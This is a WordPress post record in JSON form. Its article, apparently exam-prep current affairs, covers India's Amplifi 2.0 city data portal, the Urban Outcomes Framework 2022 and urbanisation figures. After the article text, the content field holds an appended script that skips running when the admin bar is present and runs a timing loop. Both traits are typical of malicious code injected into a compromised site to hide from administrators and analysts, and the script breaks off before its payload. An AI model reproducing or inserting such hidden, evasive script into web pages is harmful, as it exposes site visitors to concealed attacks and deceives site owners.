{"id":292,"date":"2023-11-27T04:58:04","date_gmt":"2023-11-27T04:58:04","guid":{"rendered":"https:\/\/iasquest.com\/?p=292"},"modified":"2026-02-11T19:31:05","modified_gmt":"2026-02-11T19:31:05","slug":"urban-affairs-ministry-starts-data-portal-on-cities-for-policy-making","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/urban-affairs-ministry-starts-data-portal-on-cities-for-policy-making\/","title":{"rendered":"Urban Affairs Ministry starts data portal on cities for policy making"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">The Union Ministry of Housing and Urban Affairs is making raw data from Indian cities available on a single platform for academics, researchers, and stakeholders to help data-driven policymaking.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>About Amplifi 2.0<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The <strong>Amplifi 2.0 (Assessment and Monitoring Platform for Liveable, Inclusive and Future-ready urban India)<\/strong> portal was launched by the <strong>Union Ministry of Housing and Urban Affairs .<\/strong><\/li>\n\n\n\n<li>It aims to provide a consolidated platform for tracking and evaluating the performance of cities across different aspects.<\/li>\n\n\n\n<li>The website provides data on a range of information for several cities, including total <strong>consumption<\/strong>; number of samples tested for <strong>water quality<\/strong>; average annual expenditure on <strong>healthcare;<\/strong> number of <strong>slum dwellers<\/strong>; and <strong>road accident fatalities.<\/strong><\/li>\n\n\n\n<li>The initiative also provides the opportunity to create new frameworks based on open data.&nbsp;<\/li>\n\n\n\n<li>The 14 sectors are <strong><em>demography, economy, education, energy, environment, finance, governance, health, housing, mobility, planning, safety and security, solid waste management, and water and sanitation.<\/em><\/strong><\/li>\n\n\n\n<li>Currently, 258 urban local bodies have been onboarded, and data for 150 cities is available on the portal.&nbsp;<\/li>\n\n\n\n<li>\u201cWhile onboarding the cities, we found that there is a lack of data maturity in cities, and thus only 150 civic bodies were able to share their data.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Approach<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Earlier, the Ministry used data provided by the civic bodies to rank cities based on four indices \u2014 the ease-of-living and municipal performance indices and climate smart cities assessment and data maturity assessment frameworks.<\/li>\n\n\n\n<li>Amplifi 2.0 hopes to bring an<strong> evidence-based approach<\/strong> for developing future-ready cities.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The Urban Outcomes Framework, 2022, which has been developed for the Ministry by the <strong>National Institute of Urban Affairs<\/strong> and <strong>PwC India<\/strong>, shifts the focus from the indices to data with a comprehensive list of indicators. With this, data across 14 sectors are streamlined to increase focus on data collection, and disaggregated data can be analysed by experts.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>About Urban Outcomes Framework 2022<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>It is an initiative to develop a transparent and comprehensive database based on <strong>cross-city<\/strong> outcomes across sectors such as Demography, Economy, Education, Energy, Finance, Environment, Governance &amp; ICT, Health, Housing, Mobility, Planning, Safety and Security, Solid Waste Management, Water and Sanitation.&nbsp;<\/li>\n\n\n\n<li>It also encompasses the third round of Ease of Living (EOL), Municipal Performance Index (MPI), Climate Smart Cities Assessment Framework (CSCAF) and Data Maturity Assessment Framework (DMAF).&nbsp;<\/li>\n\n\n\n<li>The central objective of this exercise is to generate a robust database so that time series analysis and progress tracking can be conducted in order to achieve aspired social and economic progress through generating data that will<strong> drive evidence-based policymaking.<\/strong>&nbsp;<\/li>\n\n\n\n<li>It aims to democratize data by making it accessible to all urban stakeholders in the Government, academia, citizenry, and industry.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Urbanisation in India<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>India has been witnessing rapid urbanisation over the past few years.&nbsp;<\/li>\n\n\n\n<li>By 2030, India is projected to have 60 crore (40%) of the population living in urban areas compared with 37.7 crore (31%) in 2011.<\/li>\n\n\n\n<li>The 2011 Census shows that urban India contributed 63% to the country\u2019s GDP, and this is projected to increase to 75% by 2030.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new 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